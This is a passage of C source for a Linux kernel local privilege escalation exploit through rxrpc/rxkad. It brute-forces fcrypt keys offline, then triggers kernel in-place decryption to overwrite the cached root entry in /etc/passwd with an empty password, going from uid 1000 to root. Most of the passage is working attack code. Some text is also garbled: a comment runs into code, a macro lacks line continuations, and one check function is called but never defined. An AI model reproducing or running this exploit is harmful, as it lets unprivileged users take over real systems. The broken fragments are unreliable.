fcntl(rxsk_cli, F_SETFL, fl | O_NONBLOCK);
for (int round = 0; round < 5; round++) {
char rb[2048];
struct sockaddr_rxrpc srx;
char ccb[256];
struct msghdr m = {0};
struct iovec iv = { .iov_base = rb, .iov_len = sizeof(rb) };
m.msg_name = &srx; m.msg_namelen = sizeof(srx);
m.msg_iov = &iv; m.msg_iovlen = 1;
m.msg_control = ccb; m.msg_controllen = sizeof(ccb);
ssize_t r = recvmsg(rxsk_cli, &m, 0);
if (r > 0) break;
if (errno == EAGAIN || errno == EWOULDBLOCK) usleep(20000);
else break;
}
fcntl(rxsk_cli, F_SETFL, fl);
close(rxsk_cli);
close(udp_srv);
syscall(SYS_keyctl, 3, key);
return 0;
trig_fail: close(p[0]); close(p[1]); close(rxsk_cli); close(udp_srv); syscall(SYS_keyctl, 3, key); return -1; }
/* ===================================================================
static const uint8_t fc_sbox0_raw[256] = { 0xea, 0x7f, 0xb2, 0x64, 0x9d, 0xb0, 0xd9, 0x11, 0xcd, 0x86, 0x86, 0x91, 0x0a, 0xb2, 0x93, 0x06, 0x0e, 0x06, 0xd2, 0x65, 0x73, 0xc5, 0x28, 0x60, 0xf2, 0x20, 0xb5, 0x38, 0x7e, 0xda, 0x9f, 0xe3, 0xd2, 0xcf, 0xc4, 0x3c, 0x61, 0xff, 0x4a, 0x4a, 0x35, 0xac, 0xaa, 0x5f, 0x2b, 0xbb, 0xbc, 0x53, 0x4e, 0x9d, 0x78, 0xa3, 0xdc, 0x09, 0x32, 0x10, 0xc6, 0x6f, 0x66, 0xd6, 0xab, 0xa9, 0xaf, 0xfd, 0x3b, 0x95, 0xe8, 0x34, 0x9a, 0x81, 0x72, 0x80, 0x9c, 0xf3, 0xec, 0xda, 0x9f, 0x26, 0x76, 0x15, 0x3e, 0x55, 0x4d, 0xde, 0x84, 0xee, 0xad, 0xc7, 0xf1, 0x6b, 0x3d, 0xd3, 0x04, 0x49, 0xaa, 0x24, 0x0b, 0x8a, 0x83, 0xba, 0xfa, 0x85, 0xa0, 0xa8, 0xb1, 0xd4, 0x01, 0xd8, 0x70, 0x64, 0xf0, 0x51, 0xd2, 0xc3, 0xa7, 0x75, 0x8c, 0xa5, 0x64, 0xef, 0x10, 0x4e, 0xb7, 0xc6, 0x61, 0x03, 0xeb, 0x44, 0x3d, 0xe5, 0xb3, 0x5b, 0xae, 0xd5, 0xad, 0x1d, 0xfa, 0x5a, 0x1e, 0x33, 0xab, 0x93, 0xa2, 0xb7, 0xe7, 0xa8, 0x45, 0xa4, 0xcd, 0x29, 0x63, 0x44, 0xb6, 0x69, 0x7e, 0x2e, 0x62, 0x03, 0xc8, 0xe0, 0x17, 0xbb, 0xc7, 0xf3, 0x3f, 0x36, 0xba, 0x71, 0x8e, 0x97, 0x65, 0x60, 0x69, 0xb6, 0xf6, 0xe6, 0x6e, 0xe0, 0x81, 0x59, 0xe8, 0xaf, 0xdd, 0x95, 0x22, 0x99, 0xfd, 0x63, 0x19, 0x74, 0x61, 0xb1, 0xb6, 0x5b, 0xae, 0x54, 0xb3, 0x70, 0xff, 0xc6, 0x3b, 0x3e, 0xc1, 0xd7, 0xe1, 0x0e, 0x76, 0xe5, 0x36, 0x4f, 0x59, 0xc7, 0x08, 0x6e, 0x82, 0xa6, 0x93, 0xc4, 0xaa, 0x26, 0x49, 0xe0, 0x21, 0x64, 0x07, 0x9f, 0x64, 0x81, 0x9c, 0xbf, 0xf9, 0xd1, 0x43, 0xf8, 0xb6, 0xb9, 0xf1, 0x24, 0x75, 0x03, 0xe4, 0xb0, 0x99, 0x46, 0x3d, 0xf5, 0xd1, 0x39, 0x72, 0x12, 0xf6, 0xba, 0x0c, 0x0d, 0x42, 0x2e, }; static const uint8_t fc_sbox1_raw[256] = { 0x77, 0x14, 0xa6, 0xfe, 0xb2, 0x5e, 0x8c, 0x3e, 0x67, 0x6c, 0xa1, 0x0d, 0xc2, 0xa2, 0xc1, 0x85, 0x6c, 0x7b, 0x67, 0xc6, 0x23, 0xe3, 0xf2, 0x89, 0x50, 0x9c, 0x03, 0xb7, 0x73, 0xe6, 0xe1, 0x39, 0x31, 0x2c, 0x27, 0x9f, 0xa5, 0x69, 0x44, 0xd6, 0x23, 0x83, 0x98, 0x7d, 0x3c, 0xb4, 0x2d, 0x99, 0x1c, 0x1f, 0x8c, 0x20, 0x03, 0x7c, 0x5f, 0xad, 0xf4, 0xfa, 0x95, 0xca, 0x76, 0x44, 0xcd, 0xb6, 0xb8, 0xa1, 0xa1, 0xbe, 0x9e, 0x54, 0x8f, 0x0b, 0x16, 0x74, 0x31, 0x8a, 0x23, 0x17, 0x04, 0xfa, 0x79, 0x84, 0xb1, 0xf5, 0x13, 0xab, 0xb5, 0x2e, 0xaa, 0x0c, 0x60, 0x6b, 0x5b, 0xc4, 0x4b, 0xbc, 0xe2, 0xaf, 0x45, 0x73, 0xfa, 0xc9, 0x49, 0xcd, 0x00, 0x92, 0x7d, 0x97, 0x7a, 0x18, 0x60, 0x3d, 0xcf, 0x5b, 0xde, 0xc6, 0xe2, 0xe6, 0xbb, 0x8b, 0x06, 0xda, 0x08, 0x15, 0x1b, 0x88, 0x6a, 0x17, 0x89, 0xd0, 0xa9, 0xc1, 0xc9, 0x70, 0x6b, 0xe5, 0x43, 0xf4, 0x68, 0xc8, 0xd3, 0x84, 0x28, 0x0a, 0x52, 0x66, 0xa3, 0xca, 0xf2, 0xe3, 0x7f, 0x7a, 0x31, 0xf7, 0x88, 0x94, 0x5e, 0x9c, 0x63, 0xd5, 0x24, 0x66, 0xfc, 0xb3, 0x57, 0x25, 0xbe, 0x89, 0x44, 0xc4, 0xe0, 0x8f, 0x23, 0x3c, 0x12, 0x52, 0xf5, 0x1e, 0xf4, 0xcb, 0x18, 0x33, 0x1f, 0xf8, 0x69, 0x10, 0x9d, 0xd3, 0xf7, 0x28, 0xf8, 0x30, 0x05, 0x5e, 0x32, 0xc0, 0xd5, 0x19, 0xbd, 0x45, 0x8b, 0x5b, 0xfd, 0xbc, 0xe2, 0x5c, 0xa9, 0x96, 0xef, 0x70, 0xcf, 0xc2, 0x2a, 0xb3, 0x61, 0xad, 0x80, 0x48, 0x81, 0xb7, 0x1d, 0x43, 0xd9, 0xd7, 0x45, 0xf0, 0xd8, 0x8a, 0x59, 0x7c, 0x57, 0xc1, 0x79, 0xc7, 0x34, 0xd6, 0x43, 0xdf, 0xe4, 0x78, 0x16, 0x06, 0xda, 0x92, 0x76, 0x51, 0xe1, 0xd4, 0x70, 0x03, 0xe0, 0x2f, 0x96, 0x91, 0x82, 0x80, }; static const uint8_t fc_sbox2_raw[256] = { 0xf0, 0x37, 0x24, 0x53, 0x2a, 0x03, 0x83, 0x86, 0xd1, 0xec, 0x50, 0xf0, 0x42, 0x78, 0x2f, 0x6d, 0xbf, 0x80, 0x87, 0x27, 0x95, 0xe2, 0xc5, 0x5d, 0xf9, 0x6f, 0xdb, 0xb4, 0x65, 0x6e, 0xe7, 0x24, 0xc8, 0x1a, 0xbb, 0x49, 0xb5, 0x0a, 0x7d, 0xb9, 0xe8, 0xdc, 0xb7, 0xd9, 0x45, 0x20, 0x1b, 0xce, 0x59, 0x9d, 0x6b, 0xbd, 0x0e, 0x8f, 0xa3, 0xa9, 0xbc, 0x74, 0xa6, 0xf6, 0x7f, 0x5f, 0xb1, 0x68, 0x84, 0xbc, 0xa9, 0xfd, 0x55, 0x50, 0xe9, 0xb6, 0x13, 0x5e, 0x07, 0xb8, 0x95, 0x02, 0xc0, 0xd0, 0x6a, 0x1a, 0x85, 0xbd, 0xb6, 0xfd, 0xfe, 0x17, 0x3f, 0x09, 0xa3, 0x8d, 0xfb, 0xed, 0xda, 0x1d, 0x6d, 0x1c, 0x6c, 0x01, 0x5a, 0xe5, 0x71, 0x3e, 0x8b, 0x6b, 0xbe, 0x29, 0xeb, 0x12, 0x19, 0x34, 0xcd, 0xb3, 0xbd, 0x35, 0xea, 0x4b, 0xd5, 0xae, 0x2a, 0x79, 0x5a, 0xa5, 0x32, 0x12, 0x7b, 0xdc, 0x2c, 0xd0, 0x22, 0x4b, 0xb1, 0x85, 0x59, 0x80, 0xc0, 0x30, 0x9f, 0x73, 0xd3, 0x14, 0x48, 0x40, 0x07, 0x2d, 0x8f, 0x80, 0x0f, 0xce, 0x0b, 0x5e, 0xb7, 0x5e, 0xac, 0x24, 0x94, 0x4a, 0x18, 0x15, 0x05, 0xe8, 0x02, 0x77, 0xa9, 0xc7, 0x40, 0x45, 0x89, 0xd1, 0xea, 0xde, 0x0c, 0x79, 0x2a, 0x99, 0x6c, 0x3e, 0x95, 0xdd, 0x8c, 0x7d, 0xad, 0x6f, 0xdc, 0xff, 0xfd, 0x62, 0x47, 0xb3, 0x21, 0x8a, 0xec, 0x8e, 0x19, 0x18, 0xb4, 0x6e, 0x3d, 0xfd, 0x74, 0x54, 0x1e, 0x04, 0x85, 0xd8, 0xbc, 0x1f, 0x56, 0xe7, 0x3a, 0x56, 0x67, 0xd6, 0xc8, 0xa5, 0xf3, 0x8e, 0xde, 0xae, 0x37, 0x49, 0xb7, 0xfa, 0xc8, 0xf4, 0x1f, 0xe0, 0x2a, 0x9b, 0x15, 0xd1, 0x34, 0x0e, 0xb5, 0xe0, 0x44, 0x78, 0x84, 0x59, 0x56, 0x68, 0x77, 0xa5, 0x14, 0x06, 0xf5, 0x2f, 0x8c, 0x8a, 0x73, 0x80, 0x76, 0xb4, 0x10, 0x86, }; static const uint8_t fc_sbox3_raw[256] = { 0xa9, 0x2a, 0x48, 0x51, 0x84, 0x7e, 0x49, 0xe2, 0xb5, 0xb7, 0x42, 0x33, 0x7d, 0x5d, 0xa6, 0x12, 0x44, 0x48, 0x6d, 0x28, 0xaa, 0x20, 0x6d, 0x57, 0xd6, 0x6b, 0x5d, 0x72, 0xf0, 0x92, 0x5a, 0x1b, 0x53, 0x80, 0x24, 0x70, 0x9a, 0xcc, 0xa7, 0x66, 0xa1, 0x01, 0xa5, 0x41, 0x97, 0x41, 0x31, 0x82, 0xf1, 0x14, 0xcf, 0x53, 0x0d, 0xa0, 0x10, 0xcc, 0x2a, 0x7d, 0xd2, 0xbf, 0x4b, 0x1a, 0xdb, 0x16, 0x47, 0xf6, 0x51, 0x36, 0xed, 0xf3, 0xb9, 0x1a, 0xa7, 0xdf, 0x29, 0x43, 0x01, 0x54, 0x70, 0xa4, 0xbf, 0xd4, 0x0b, 0x53, 0x44, 0x60, 0x9e, 0x23, 0xa1, 0x18, 0x68, 0x4f, 0xf0, 0x2f, 0x82, 0xc2, 0x2a, 0x41, 0xb2, 0x42, 0x0c, 0xed, 0x0c, 0x1d, 0x13, 0x3a, 0x3c, 0x6e, 0x35, 0xdc, 0x60, 0x65, 0x85, 0xe9, 0x64, 0x02, 0x9a, 0x3f, 0x9f, 0x87, 0x96, 0xdf, 0xbe, 0xf2, 0xcb, 0xe5, 0x6c, 0xd4, 0x5a, 0x83, 0xbf, 0x92, 0x1b, 0x94, 0x00, 0x42, 0xcf, 0x4b, 0x00, 0x75, 0xba, 0x8f, 0x76, 0x5f, 0x5d, 0x3a, 0x4d, 0x09, 0x12, 0x08, 0x38, 0x95, 0x17, 0xe4, 0x01, 0x1d, 0x4c, 0xa9, 0xcc, 0x85, 0x82, 0x4c, 0x9d, 0x2f, 0x3b, 0x66, 0xa1, 0x34, 0x10, 0xcd, 0x59, 0x89, 0xa5, 0x31, 0xcf, 0x05, 0xc8, 0x84, 0xfa, 0xc7, 0xba, 0x4e, 0x8b, 0x1a, 0x19, 0xf1, 0xa1, 0x3b, 0x18, 0x12, 0x17, 0xb0, 0x98, 0x8d, 0x0b, 0x23, 0xc3, 0x3a, 0x2d, 0x20, 0xdf, 0x13, 0xa0, 0xa8, 0x4c, 0x0d, 0x6c, 0x2f, 0x47, 0x13, 0x13, 0x52, 0x1f, 0x2d, 0xf5, 0x79, 0x3d, 0xa2, 0x54, 0xbd, 0x69, 0xc8, 0x6b, 0xf3, 0x05, 0x28, 0xf1, 0x16, 0x46, 0x40, 0xb0, 0x11, 0xd3, 0xb7, 0x95, 0x49, 0xcf, 0xc3, 0x1d, 0x8f, 0xd8, 0xe1, 0x73, 0xdb, 0xad, 0xc8, 0xc9, 0xa9, 0xa1, 0xc2, 0xc5, 0xe3, 0xba, 0xfc, 0x0e, 0x25, };
static uint32_t fc_sbox0[256], fc_sbox1[256], fc_sbox2[256], fc_sbox3[256];
#include <endian.h>
static void fcrypt_init_sboxes(void) { for (int i = 0; i < 256; i++) { fc_sbox0[i] = htobe32((uint32_t)fc_sbox0_raw[i] << 3); fc_sbox1[i] = htobe32(((uint32_t)(fc_sbox1_raw[i] & 0x1f) << 27) | ((uint32_t)fc_sbox1_raw[i] >> 5)); fc_sbox2[i] = htobe32((uint32_t)fc_sbox2_raw[i] << 11); fc_sbox3[i] = htobe32((uint32_t)fc_sbox3_raw[i] << 19); } }
#define fc_ror56_64(k, n)
(k = (k >> (n)) | ((k & ((1ULL << (n)) - 1)) << (56 - (n))))
typedef struct { uint32_t sched[16]; } fcrypt_uctx;
static void fcrypt_user_setkey(fcrypt_uctx *ctx, const uint8_t key[8]) { uint64_t k = 0; k = (uint64_t)(key[0] >> 1); k <<= 7; k |= (uint64_t)(key[1] >> 1); k <<= 7; k |= (uint64_t)(key[2] >> 1); k <<= 7; k |= (uint64_t)(key[3] >> 1); k <<= 7; k |= (uint64_t)(key[4] >> 1); k <<= 7; k |= (uint64_t)(key[5] >> 1); k <<= 7; k |= (uint64_t)(key[6] >> 1); k <<= 7; k |= (uint64_t)(key[7] >> 1);
ctx->sched[0x0] = htobe32((uint32_t)k); fc_ror56_64(k, 11);
ctx->sched[0x1] = htobe32((uint32_t)k); fc_ror56_64(k, 11);
ctx->sched[0x2] = htobe32((uint32_t)k); fc_ror56_64(k, 11);
ctx->sched[0x3] = htobe32((uint32_t)k); fc_ror56_64(k, 11);
ctx->sched[0x4] = htobe32((uint32_t)k); fc_ror56_64(k, 11);
ctx->sched[0x5] = htobe32((uint32_t)k); fc_ror56_64(k, 11);
ctx->sched[0x6] = htobe32((uint32_t)k); fc_ror56_64(k, 11);
ctx->sched[0x7] = htobe32((uint32_t)k); fc_ror56_64(k, 11);
ctx->sched[0x8] = htobe32((uint32_t)k); fc_ror56_64(k, 11);
ctx->sched[0x9] = htobe32((uint32_t)k); fc_ror56_64(k, 11);
ctx->sched[0xa] = htobe32((uint32_t)k); fc_ror56_64(k, 11);
ctx->sched[0xb] = htobe32((uint32_t)k); fc_ror56_64(k, 11);
ctx->sched[0xc] = htobe32((uint32_t)k); fc_ror56_64(k, 11);
ctx->sched[0xd] = htobe32((uint32_t)k); fc_ror56_64(k, 11);
ctx->sched[0xe] = htobe32((uint32_t)k); fc_ror56_64(k, 11);
ctx->sched[0xf] = htobe32((uint32_t)k);
}
#define FC_F(R_, L_, sched_) do {
union { uint32_t l; uint8_t c[4]; } u;
u.l = (sched_) ^ (R_);
L_ ^= fc_sbox0[u.c[0]] ^ fc_sbox1[u.c[1]] ^
fc_sbox2[u.c[2]] ^ fc_sbox3[u.c[3]];
} while (0)
static void fcrypt_user_decrypt(const fcrypt_uctx *ctx, uint8_t out[8], const uint8_t in[8]) { uint32_t L, R; memcpy(&L, in, 4); memcpy(&R, in + 4, 4); FC_F(L, R, ctx->sched[0xf]); FC_F(R, L, ctx->sched[0xe]); FC_F(L, R, ctx->sched[0xd]); FC_F(R, L, ctx->sched[0xc]); FC_F(L, R, ctx->sched[0xb]); FC_F(R, L, ctx->sched[0xa]); FC_F(L, R, ctx->sched[0x9]); FC_F(R, L, ctx->sched[0x8]); FC_F(L, R, ctx->sched[0x7]); FC_F(R, L, ctx->sched[0x6]); FC_F(L, R, ctx->sched[0x5]); FC_F(R, L, ctx->sched[0x4]); FC_F(L, R, ctx->sched[0x3]); FC_F(R, L, ctx->sched[0x2]); FC_F(L, R, ctx->sched[0x1]); FC_F(R, L, ctx->sched[0x0]); memcpy(out, &L, 4); memcpy(out + 4, &R, 4); }
/* For the 2-splice chain we want the line to have EXACTLY 6 ':' and a
4 random gecos-prefix bytes.
pos 16, preserves ':' at pos 21 and '/' at pos 22.
pos 0 8 21 32
su -s /bin/bash test proceeds through the restricted_shell()static inline int fc_check_pb_nullok(const uint8_t P[8]) { return P[0] == '0' && P[1] == ':'; }
static inline int fc_check_pc_nullok(const uint8_t P[8]) { if (P[0] != '0') return 0; if (P[1] != ':') return 0; if (P[7] != ':') return 0; for (int i = 2; i < 7; i++) { if (P[i] == ':' || P[i] == '\0' || P[i] == '\n') return 0; } return 1; }
static uint64_t fc_splitmix64(uint64_t *s) { uint64_t z = (*s += 0x9E3779B97F4A7C15ULL); z = (z ^ (z >> 30)) * 0xBF58476D1CE4E5B9ULL; z = (z ^ (z >> 27)) * 0x94D049BB133111EBULL; return z ^ (z >> 31); }
/* Generic brute-force. predicate decides if a P is acceptable. */
typedef int (*pcheck_fn)(const uint8_t P[8]);
static int find_K_offline_generic(const uint8_t C[8], uint64_t max_iters, pcheck_fn check, uint8_t K_out[8], uint8_t P_out[8], uint64_t seed_init, const char *label) { fcrypt_uctx ctx; uint8_t K[8], P[8]; uint64_t seed = seed_init; struct timespec ts0, ts1; clock_gettime(CLOCK_MONOTONIC, &ts0);
for (uint64_t iter = 0; iter < max_iters; iter++) {
uint64_t r = fc_splitmix64(&seed);
memcpy(K, &r, 8);
fcrypt_user_setkey(&ctx, K);
fcrypt_user_decrypt(&ctx, P, C);
if (check(P)) {
memcpy(K_out, K, 8);
memcpy(P_out, P, 8);
clock_gettime(CLOCK_MONOTONIC, &ts1);
double dt = (ts1.tv_sec - ts0.tv_sec) +
(ts1.tv_nsec - ts0.tv_nsec) / 1e9;
LOG("%s found after %lu iters in %.2fs (%.2fM/s) K=%02x%02x%02x%02x%02x%02x%02x%02x P=%02x%02x%02x%02x%02x%02x%02x%02x \"%c%c%c%c%c%c%c%c\"",
label,
(unsigned long)iter, dt, iter / dt / 1e6,
K[0],K[1],K[2],K[3],K[4],K[5],K[6],K[7],
P[0],P[1],P[2],P[3],P[4],P[5],P[6],P[7],
(P[0]>=32&&P[0]<127)?P[0]:'.',
(P[1]>=32&&P[1]<127)?P[1]:'.',
(P[2]>=32&&P[2]<127)?P[2]:'.',
(P[3]>=32&&P[3]<127)?P[3]:'.',
(P[4]>=32&&P[4]<127)?P[4]:'.',
(P[5]>=32&&P[5]<127)?P[5]:'.',
(P[6]>=32&&P[6]<127)?P[6]:'.',
(P[7]>=32&&P[7]<127)?P[7]:'.');
return 0;
}
if ((iter & 0x3ffffff) == 0 && iter > 0) {
clock_gettime(CLOCK_MONOTONIC, &ts1);
double dt = (ts1.tv_sec - ts0.tv_sec) +
(ts1.tv_nsec - ts0.tv_nsec) / 1e9;
fprintf(stderr, " [%s %.1fs] iter=%lu (%.2fM/s)\n",
label, dt, (unsigned long)iter, iter / dt / 1e6);
}
}
return -1;
}
int rxrpc_lpe_main(int argc, char **argv) { fprintf(stderr, "\n=== rxrpc/rxkad LPE EXPLOIT (uid=1000 → root) ===\n"); fprintf(stderr, "[*] uid=%u euid=%u gid=%u\n", getuid(), geteuid(), getgid());
{
const char *no_unshare = getenv("POC_NO_UNSHARE");
if (!no_unshare || *no_unshare != '1') {
const char *do_unshare = getenv("POC_UNSHARE");
if (do_unshare && *do_unshare == '1') {
if (do_unshare_userns_netns() < 0) return 1;
}
}
}
/* Open a dummy AF_RXRPC socket to autoload the rxrpc kernel module.
* Without this, the first add_key("rxrpc", ...) call fails with ENODEV
* because the kernel key type "rxrpc" is registered by rxrpc_init() in
* the module load path. */
{
int dummy = socket(AF_RXRPC, SOCK_DGRAM, PF_INET);
if (dummy < 0) {
WARN("socket(AF_RXRPC): %s — module not loadable?", strerror(errno));
return 1;
}
close(dummy);
LOG("rxrpc module autoloaded via dummy socket(AF_RXRPC)");
}
/* Open /etc/passwd RO and mmap the first page (which contains the
* root entry on line 1). */
const char *target_path = getenv("POC_TARGET_FILE");
if (!target_path || !*target_path) target_path = "/etc/passwd";
int rfd_ro = open(target_path, O_RDONLY);
if (rfd_ro < 0) {
WARN("open %s RO: %s", target_path, strerror(errno));
return 1;
}
struct stat st;
fstat(rfd_ro, &st);
if (st.st_size < 32) { WARN("target too small: %lld", (long long)st.st_size); return 1; }
LOG("target %s opened RO, size=%lld, uid=%u gid=%u mode=%04o",
target_path, (long long)st.st_size, st.st_uid, st.st_gid,
st.st_mode & 07777);
/* mmap first page so the page-cache page stays pinned. */
void *map = mmap(NULL, 4096, PROT_READ, MAP_SHARED, rfd_ro, 0);
if (map == MAP_FAILED) { WARN("mmap: %s", strerror(errno)); return 1; }
LOG("mmap'd %s page-cache at %p (PROT_READ|MAP_SHARED)", target_path, map);
/* If a previous attempt already left the root entry in the patched
* "root::0:0:..." form, treat as success and skip the brute-force /
* trigger stages. Otherwise proceed regardless of current state —
* the brute-force re-derives K_A/K_B/K_C from whatever bytes are
* currently at offsets 4/6/8 of the page-cache page, so it works
* even on the corrupt residue from a previous failed run. */
{
const char *m = (const char *)map;
if (memcmp(m, "root::0:0", 9) == 0) {
LOG("/etc/passwd already patched (root::0:0...) — nothing to do");
return 0;
}
LOG("/etc/passwd line 1 first 16 bytes:");
for (int i = 0; i < 16; i++)
fprintf(stderr, "%02x ", (uint8_t)m[i]);
fprintf(stderr, "\n");
}
fprintf(stderr, "[*] /etc/passwd line 1 (root entry) BEFORE: '");
for (int i = 0; i < 32; i++) {
char c = ((const char *)map)[i];
fputc((c == '\n') ? '$' : (c >= 32 && c < 127 ? c : '.'), stderr);
}
fprintf(stderr, "'\n");
/* === STAGE 1 — THREE-SPLICE OFFLINE BRUTE FORCE ===
*
* Read THREE 8-byte ciphertexts at file offsets 4, 6, 8. Search
* independently for K_A (chars 4-5 = "::"), K_B (chars 6-7 = "0:"),
* K_C (chars 8-15 = "0:GGGGGG:" with G non-control). All searches
* are user-space only — no kernel/VM interaction.
*
* Last-write-wins ordering: trigger A first (covers 4..11), then B
* (covers 6..13 — overrides A's 6..11), then C (covers 8..15 —
* overrides A's 8..11 and B's 8..13). Final state of chars 4..15:
* chars 4..5 = P_A[0..1]
* chars 6..7 = P_B[0..1]
* chars 8..15 = P_C[0..7]
* =================================================================*/
uint8_t Ca[8], Cb[8], Cc[8];
int off_a = 4, off_b = 6, off_c = 8;
if (pread(rfd_ro, Ca, 8, off_a) != 8) { WARN("pread Ca: %s", strerror(errno)); return 1; }
if (pread(rfd_ro, Cb, 8, off_b) != 8) { WARN("pread Cb: %s", strerror(errno)); return 1; }
if (pread(rfd_ro, Cc, 8, off_c) != 8) { WARN("pread Cc: %s", strerror(errno)); return 1; }
LOG("Ca @ %d: %02x%02x%02x%02x%02x%02x%02x%02x \"%c%c%c%c%c%c%c%c\"",
off_a, Ca[0],Ca[1],Ca[2],Ca[3],Ca[4],Ca[5],Ca[6],Ca[7],
(Ca[0]>=32&&Ca[0]<127)?Ca[0]:'.', (Ca[1]>=32&&Ca[1]<127)?Ca[1]:'.',
(Ca[2]>=32&&Ca[2]<127)?Ca[2]:'.', (Ca[3]>=32&&Ca[3]<127)?Ca[3]:'.',
(Ca[4]>=32&&Ca[4]<127)?Ca[4]:'.', (Ca[5]>=32&&Ca[5]<127)?Ca[5]:'.',
(Ca[6]>=32&&Ca[6]<127)?Ca[6]:'.', (Ca[7]>=32&&Ca[7]<127)?Ca[7]:'.');
LOG("Cb @ %d: %02x%02x%02x%02x%02x%02x%02x%02x \"%c%c%c%c%c%c%c%c\"",
off_b, Cb[0],Cb[1],Cb[2],Cb[3],Cb[4],Cb[5],Cb[6],Cb[7],
(Cb[0]>=32&&Cb[0]<127)?Cb[0]:'.', (Cb[1]>=32&&Cb[1]<127)?Cb[1]:'.',
(Cb[2]>=32&&Cb[2]<127)?Cb[2]:'.', (Cb[3]>=32&&Cb[3]<127)?Cb[3]:'.',
(Cb[4]>=32&&Cb[4]<127)?Cb[4]:'.', (Cb[5]>=32&&Cb[5]<127)?Cb[5]:'.',
(Cb[6]>=32&&Cb[6]<127)?Cb[6]:'.', (Cb[7]>=32&&Cb[7]<127)?Cb[7]:'.');
LOG("Cc @ %d: %02x%02x%02x%02x%02x%02x%02x%02x \"%c%c%c%c%c%c%c%c\"",
off_c, Cc[0],Cc[1],Cc[2],Cc[3],Cc[4],Cc[5],Cc[6],Cc[7],
(Cc[0]>=32&&Cc[0]<127)?Cc[0]:'.', (Cc[1]>=32&&Cc[1]<127)?Cc[1]:'.',
(Cc[2]>=32&&Cc[2]<127)?Cc[2]:'.', (Cc[3]>=32&&Cc[3]<127)?Cc[3]:'.',
(Cc[4]>=32&&Cc[4]<127)?Cc[4]:'.', (Cc[5]>=32&&Cc[5]<127)?Cc[5]:'.',
(Cc[6]>=32&&Cc[6]<127)?Cc[6]:'.', (Cc[7]>=32&&Cc[7]<127)?Cc[7]:'.');
fcrypt_init_sboxes();
/* selftest */
{
fcrypt_uctx ctx;
uint8_t z[8] = {0};
uint8_t cv[8] = { 0x0E, 0x09, 0x00, 0xC7, 0x3E, 0xF7, 0xED, 0x41 };
uint8_t pv[8];
fcrypt_user_setkey(&ctx, z);
fcrypt_user_decrypt(&ctx, pv, cv);
if (memcmp(pv, z, 8) != 0) { WARN("fcrypt selftest FAILED"); return 1; }
}
LOG("fcrypt selftest OK");
uint8_t Ka[8], Pa_out[8];
uint8_t Kb[8], Pb_out[8];
uint8_t Kc[8], Pc_out[8];
uint8_t Cb_actual[8], Cc_actual[8];
{
uint64_t max_iters = 10000000000ULL;
const char *e = getenv("LPE_MAX_ITERS");
if (e) max_iters = strtoull(e, NULL, 0);
uint64_t seed_base = (uint64_t)time(NULL) * 0x100000001ULL ^ (uint64_t)getpid();
const char *se = getenv("LPE_SEED");
if (se) seed_base = strtoull(se, NULL, 0);
fprintf(stderr, "\n=== STAGE 1a: search K_A (chars 4-5 := \"::\") prob ~1.5e-5 ===\n");
if (find_K_offline_generic(Ca, max_iters, fc_check_pa_nullok,
Ka, Pa_out, seed_base, "K_A") != 0) {
WARN("K_A search exhausted"); return 2;
}
/* After splice A is applied, the ciphertext that splice B will
* see at file offset 6 is NOT the original Cb — it's the bytes
* that splice A wrote to file offsets 6..11 (= Pa[2..7]) plus
* the original bytes 12..13 (= Cb[6..7]). We must derive
* Cb_actual and search K_B against it. */
memcpy(Cb_actual, Pa_out + 2, 6);
memcpy(Cb_actual + 6, Cb + 6, 2);
LOG("Cb_actual (after splice A) = %02x%02x%02x%02x%02x%02x%02x%02x",
Cb_actual[0],Cb_actual[1],Cb_actual[2],Cb_actual[3],
Cb_actual[4],Cb_actual[5],Cb_actual[6],Cb_actual[7]);
fprintf(stderr, "\n=== STAGE 1b: search K_B (chars 6-7 := \"0:\") prob ~1.5e-5 ===\n");
if (find_K_offline_generic(Cb_actual, max_iters, fc_check_pb_nullok,
Kb, Pb_out, seed_base ^ 0xa5a5a5a5a5a5a5a5ULL,
"K_B") != 0) {
WARN("K_B search exhausted"); return 2;
}
/* Same chaining logic for splice C: after splice B, file offsets
* 8..13 hold Pb[2..7]; offsets 14..15 still hold the original
* bytes Cc[6..7]. */
memcpy(Cc_actual, Pb_out + 2, 6);
memcpy(Cc_actual + 6, Cc + 6, 2);
LOG("Cc_actual (after splice B) = %02x%02x%02x%02x%02x%02x%02x%02x",
Cc_actual[0],Cc_actual[1],Cc_actual[2],Cc_actual[3],
Cc_actual[4],Cc_actual[5],Cc_actual[6],Cc_actual[7]);
fprintf(stderr, "\n=== STAGE 1c: search K_C (chars 8-15 := \"0:GGGGGG:\") prob ~5.4e-8 ===\n");
if (find_K_offline_generic(Cc_actual, max_iters, fc_check_pc_nullok,
Kc, Pc_out, seed_base ^ 0x5a5a5a5a5a5a5a5aULL,
"K_C") != 0) {
WARN("K_C search exhausted"); return 2;
}
}
fprintf(stderr, "\n[+] Predicted post-corruption /etc/passwd line 1:\n \"root");
/* chars 4-5 from P_A */
for (int i = 0; i < 2; i++) fputc((Pa_out[i]>=32&&Pa_out[i]<127)?Pa_out[i]:'.', stderr);
/* chars 6-7 from P_B */
for (int i = 0; i < 2; i++) fputc((Pb_out[i]>=32&&Pb_out[i]<127)?Pb_out[i]:'.', stderr);
/* chars 8-15 from P_C */
for (int i = 0; i < 8; i++) fputc((Pc_out[i]>=32&&Pc_out[i]<127)?Pc_out[i]:'.', stderr);
fprintf(stderr, "/root:/bin/bash\"\n");
/* === STAGE 2 — THREE KERNEL TRIGGERS (in order A → B → C) ===
* Each trigger does a single in-place decrypt at the
* indicated /etc/passwd file offset. Last-write-wins on overlapping
* bytes determines the final state.
*/
fprintf(stderr, "\n=== STAGE 2a: kernel trigger A @ off %d (set chars 4-5 \"::\") ===\n", off_a);
memcpy(SESSION_KEY, Ka, 8);
if (do_one_trigger(rfd_ro, off_a, 8) < 0) {
WARN("kernel trigger A failed"); return 3;
}
fprintf(stderr, "\n=== STAGE 2b: kernel trigger B @ off %d (set chars 6-7 \"0:\") ===\n", off_b);
memcpy(SESSION_KEY, Kb, 8);
if (do_one_trigger(rfd_ro, off_b, 8) < 0) {
WARN("kernel trigger B failed"); return 3;
}
fprintf(stderr, "\n=== STAGE 2c: kernel trigger C @ off %d (set chars 8-15 \"0:GGGGGG:\") ===\n", off_c);
memcpy(SESSION_KEY, Kc, 8);
if (do_one_trigger(rfd_ro, off_c, 8) < 0) {
WARN("kernel trigger C failed"); return 3;
}
/* Verify: re-read line 1 of /etc/passwd via mmap. */
fprintf(stderr, "[*] /etc/passwd line 1 (root entry) AFTER: '");
for (int i = 0; i < 32; i++) {
char c = ((const char *)map)[i];
fputc((c == '\n') ? '$' : (c >= 32 && c < 127 ? c : '.'), stderr);
}
fprintf(stderr, "'\n");
